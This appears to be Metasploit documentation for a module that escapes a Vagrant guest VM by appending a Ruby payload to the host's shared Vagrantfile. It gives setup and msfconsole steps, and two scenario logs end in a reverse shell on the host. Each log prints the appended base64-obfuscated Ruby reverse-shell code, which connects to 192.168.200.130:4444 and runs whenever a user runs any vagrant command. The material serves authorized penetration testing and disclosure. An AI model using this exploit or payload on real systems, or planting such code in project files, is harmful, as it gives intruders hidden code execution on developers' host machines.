## Vulnerable Application

This module exploits a default Vagrant synced folder (shared folder)
to append a Ruby payload to the Vagrant project Vagrantfile config file.

By default, unless a Vagrant project explicitly disables shared folders,
Vagrant mounts the project directory on the host as a writable 'vagrant'
directory on the guest virtual machine. This directory includes the
project Vagrantfile configuration file.

Ruby code within the Vagrantfile is loaded and executed when a user
runs any vagrant command from the project directory on the host,
leading to execution of Ruby code on the host.

## Installation

Install a virtualization provider. Vagrant uses VirtualBox by default.

Download and install Vagrant:

* https://www.vagrantup.com/downloads

Follow the Getting Started tutorial to create a simple Vagrant project with guest virtual machine:

* https://learn.hashicorp.com/tutorials/vagrant/getting-started-project-setup?in=vagrant/getting-started

Note that this will require approximately 3GB of free disk space.

Example using `hashicorp/bionic64` box:

```
$ mkdir vagrant_getting_started
$ cd vagrant_getting_started/
$ vagrant init hashicorp/bionic64
A `Vagrantfile` has been placed in this directory. You are now
ready to `vagrant up` your first virtual environment! Please read
the comments in the Vagrantfile as well as documentation on
`vagrantup.com` for more information on using Vagrant.
$ vagrant up
Bringing machine 'default' up with 'virtualbox' provider...
==> default: Box 'hashicorp/bionic64' could not be found. Attempting to find and install...
    default: Box Provider: virtualbox
    default: Box Version: >= 0
==> default: Loading metadata for box 'hashicorp/bionic64'
    default: URL: https://vagrantcloud.com/hashicorp/bionic64
==> default: Adding box 'hashicorp/bionic64' (v1.0.282) for provider: virtualbox
    default: Downloading: https://vagrantcloud.com/hashicorp/boxes/bionic64/versions/1.0.282/providers/virtualbox.box
==> default: Successfully added box 'hashicorp/bionic64' (v1.0.282) for 'virtualbox'!
==> default: Importing base box 'hashicorp/bionic64'...
==> default: Matching MAC address for NAT networking...
==> default: Checking if box 'hashicorp/bionic64' version '1.0.282' is up to date...
==> default: Setting the name of the VM: vagrant_getting_started_default_1664845773160_64119
==> default: Clearing any previously set network interfaces...
==> default: Preparing network interfaces based on configuration...
    default: Adapter 1: nat
==> default: Forwarding ports...
    default: 22 (guest) => 2222 (host) (adapter 1)
==> default: Booting VM...
==> default: Waiting for machine to boot. This may take a few minutes...
    default: SSH address: 127.0.0.1:2222
    default: SSH username: vagrant
    default: SSH auth method: private key
    default: Warning: Connection reset. Retrying...
    default: 
    default: Vagrant insecure key detected. Vagrant will automatically replace
    default: this with a newly generated keypair for better security.
    default: 
    default: Inserting generated public key within guest...
    default: Removing insecure key from the guest if it's present...
    default: Key inserted! Disconnecting and reconnecting using new SSH key...
==> default: Machine booted and ready!
==> default: Checking for guest additions in VM...
    default: The guest additions on this VM do not match the installed version of
    default: VirtualBox! In most cases this is fine, but in rare cases it can
    default: prevent things such as shared folders from working properly. If you see
    default: shared folder errors, please make sure the guest additions within the
    default: virtual machine match the version of VirtualBox you have installed on
    default: your host and reload your VM.
    default: 
    default: Guest Additions Version: 6.0.10
    default: VirtualBox Version: 6.1
==> default: Mounting shared folders...
    default: /vagrant => /home/user/vagrant/vagrant_getting_started
```


Note: As the virtual machine resides within a virtual NAT environment,
for testing purposes it may be easier to bridge the virtual machine network
adapter to allow access from the LAN. This can be achieved by modifying
the virtual machine network adapter settings via the `virtualbox` GUI.

Also note that in doing so you are opening an intentionally vulnerable guest
VM to your network for the purposes of executing arbitrary code on the host.


## Verification Steps

1. Start `msfconsole`
1. Get a session within a Vagrant guest virtual machine
1. Do: `use exploit/multi/local/vagrant_synced_folder_vagrantfile_breakout`
1. Do: `set SESSION <session>`
1. Do: `check`
1. The module should report that the host appears to be vulnerable
1. Do: `set PAYLOAD ruby/shell_reverse_tcp`
1. Do: `set lhost <lhost>`
1. Do: `set lport <lport>`
1. Do: `run`
1. The module should report that the payload was written successfully
1. Do: `use exploit/multi/handler`
1. Do: `set PAYLOAD ruby/shell_reverse_tcp`
1. Do: `set lhost <lhost>`
1. Do: `set lport <lport>`
1. Do: `run -jz`
1. Wait until a user runs a vagrant command from within the project directory on the host system (ie, `vagrant status`)
1. You should get a new session on the host operating system


## Options

### VAGRANTFILE_PATH

Path to `Vagrantfile` (leave blank to auto detect).


## Scenarios

### hashicorp/bionic64 guest virtual machine in Vagrant 2.3.1 with VirtualBox 6.1 running on Ubuntu 22.04.1

```
msf > sessions -i 1 -C sysinfo
[*] Running 'sysinfo' on meterpreter session 1 (::1)
Computer     : vagrant.vm
OS           : Ubuntu 18.04 (Linux 4.15.0-58-generic)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
msf > sessions -i 1 -C getuid
[*] Running 'getuid' on meterpreter session 1 (::1)
Server username: vagrant
msf > use exploit/multi/local/vagrant_synced_folder_vagrantfile_breakout 
[*] Using configured payload ruby/shell_reverse_tcp
msf exploit(multi/local/vagrant_synced_folder_vagrantfile_breakout) > set session 1
session => 1
msf exploit(multi/local/vagrant_synced_folder_vagrantfile_breakout) > set lhost 192.168.200.130 
lhost => 192.168.200.130
msf exploit(multi/local/vagrant_synced_folder_vagrantfile_breakout) > set lport 4444
lport => 4444
msf exploit(multi/local/vagrant_synced_folder_vagrantfile_breakout) > check

[!] SESSION may not be compatible with this module:
[!]  * incompatible session platform: windows
[*] The service is running, but could not be validated. Could not verify if C:\vagrant\Vagrantfile is writable.
msf exploit(multi/local/vagrant_synced_folder_vagrantfile_breakout) > run

[!] SESSION may not be compatible with this module:
[!]  * incompatible session platform: windows
[*] Running automatic check ("set AutoCheck false" to disable)
[!] The service is running, but could not be validated. Could not verify if C:\vagrant\Vagrantfile is writable.
[*] Appending payload (516 bytes) to C:\vagrant\Vagrantfile ...
[*] Payload appended to C:\vagrant\Vagrantfile
[*] The payload will be executed when a user runs any vagrant command from within the project directory on the host system.
[!] This module requires manual removal of the payload from the project Vagrantfile: C:\vagrant\Vagrantfile
msf exploit(multi/local/vagrant_synced_folder_vagrantfile_breakout) > use exploit/multi/handler 
[*] Using configured payload cmd/unix/reverse_netcat
msf exploit(multi/handler) > set payload ruby/shell_reverse_tcp
payload => ruby/shell_reverse_tcp
msf exploit(multi/handler) > set lhost 192.168.200.130
lhost => 192.168.200.130
msf exploit(multi/handler) > set lport 4444
lport => 4444
msf exploit(multi/handler) > run -jz
[*] Exploit running as background job 2.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 192.168.200.130:4444 
msf exploit(multi/handler) > [*] Command shell session 2 opened (192.168.200.130:4444 -> 192.168.200.204:44242) at 2022-10-16 05:46:32 -0400

msf exploit(multi/handler) > sessions -i 2
[*] Starting interaction with 2...

id
uid=1000(user) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),122(lpadmin),134(lxd),135(sambashare),138(libvirt)
pwd
/home/user/vagrant/vagrant_getting_started
tail -n 13 Vagrantfile

code = %(cmVxdWlyZSAnc29ja2V0JztjPVRDUFNvY2tldC5uZXcoIjE5Mi4xNjguMjAwLjEzMCIsIDQ0NDQpOyRzdGRpbi5yZW9wZW4oYyk7JHN0ZG91dC5yZW9wZW4oYyk7JHN0ZGVyci5yZW9wZW4oYyk7JHN0ZGluLmVhY2hfbGluZXt8bHxsPWwuc3RyaXA7bmV4dCBpZiBsLmxlbmd0aD09MDsoSU8ucG9wZW4obCwicmIiKXt8ZmR8IGZkLmVhY2hfbGluZSB7fG98IGMucHV0cyhvLnN0cmlwKSB9fSkgcmVzY3VlIG5pbCB9).unpack(%(m0)).first
if RUBY_PLATFORM =~ /mswin|mingw|win32/
inp = IO.popen(%(ruby), %(wb)) rescue nil
if inp
inp.write(code)
inp.close
end
else
if ! Process.fork()
eval(code) rescue nil
end
end
```

### StefanScherer/windows_2019 guest virtual machine in Vagrant 2.3.1 with VirtualBox 6.1 running on Ubuntu 22.04.1

```
msf > sessions -i 1 -C sysinfo
[*] Running 'sysinfo' on meterpreter session 1 (10.0.2.15)
Computer        : VAGRANT
OS              : Windows 2016+ (10.0 Build 17763).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 1
Meterpreter     : x64/windows
msf > sessions -i 1 -C getuid
[*] Running 'getuid' on meterpreter session 1 (10.0.2.15)
Server username: VAGRANT\test
msf > use exploit/multi/local/vagrant_synced_folder_vagrantfile_breakout
[*] Using configured payload ruby/shell_reverse_tcp
msf exploit(multi/local/vagrant_synced_folder_vagrantfile_breakout) > set session 1
session => 1
msf exploit(multi/local/vagrant_synced_folder_vagrantfile_breakout) > check

[!] SESSION may not be compatible with this module:
[!]  * incompatible session platform: windows
[*] The service is running, but could not be validated. Could not verify if /vagrant/Vagrantfile is writable.
msf exploit(multi/local/vagrant_synced_folder_vagrantfile_breakout) > set payload ruby/shell_reverse_tcp
payload => ruby/shell_reverse_tcp
msf exploit(multi/local/vagrant_synced_folder_vagrantfile_breakout) > set lhost 192.168.200.130 
lhost => 192.168.200.130
msf exploit(multi/local/vagrant_synced_folder_vagrantfile_breakout) > set lport 4444
lport => 4444
msf exploit(multi/local/vagrant_synced_folder_vagrantfile_breakout) > run

[!] SESSION may not be compatible with this module:
[!]  * incompatible session platform: windows
[*] Running automatic check ("set AutoCheck false" to disable)
[!] The service is running, but could not be validated. Could not verify if /vagrant/Vagrantfile is writable.
[*] Appending payload (516 bytes) to /vagrant/Vagrantfile ...
[*] Payload appended to /vagrant/Vagrantfile
[*] The payload will be executed when a user runs any vagrant command from within the project directory on the host system.
[!] This module requires manual removal of the payload from the project Vagrantfile: /vagrant/Vagrantfile
msf exploit(multi/local/vagrant_synced_folder_vagrantfile_breakout) > use exploit/multi/handler
[*] Using configured payload windows/x64/shell/reverse_tcp
msf exploit(multi/handler) > set payload ruby/shell_reverse_tcp
payload => ruby/shell_reverse_tcp
msf exploit(multi/handler) > set lport 4444
lport => 4444
msf exploit(multi/handler) > set lhost 192.168.200.130
lhost => 192.168.200.130
msf exploit(multi/handler) > run -jz
[*] Exploit running as background job 2.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 192.168.200.130:4444 
msf exploit(multi/handler) > [*] Command shell session 2 opened (192.168.200.130:4444 -> 192.168.200.204:51524) at 2022-10-16 06:34:04 -0400

msf exploit(multi/handler) > sessions -i 2
[*] Starting interaction with 2...

id
uid=1000(user) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),122(lpadmin),134(lxd),135(sambashare),138(libvirt)
pwd
/home/user/vagrant/windows2019
tail -n 13 Vagrantfile

code = %(cmVxdWlyZSAnc29ja2V0JztjPVRDUFNvY2tldC5uZXcoIjE5Mi4xNjguMjAwLjEzMCIsIDQ0NDQpOyRzdGRpbi5yZW9wZW4oYyk7JHN0ZG91dC5yZW9wZW4oYyk7JHN0ZGVyci5yZW9wZW4oYyk7JHN0ZGluLmVhY2hfbGluZXt8bHxsPWwuc3RyaXA7bmV4dCBpZiBsLmxlbmd0aD09MDsoSU8ucG9wZW4obCwicmIiKXt8ZmR8IGZkLmVhY2hfbGluZSB7fG98IGMucHV0cyhvLnN0cmlwKSB9fSkgcmVzY3VlIG5pbCB9).unpack(%(m0)).first
if RUBY_PLATFORM =~ /mswin|mingw|win32/
inp = IO.popen(%(ruby), %(wb)) rescue nil
if inp
inp.write(code)
inp.close
end
else
if ! Process.fork()
eval(code) rescue nil
end
end
```
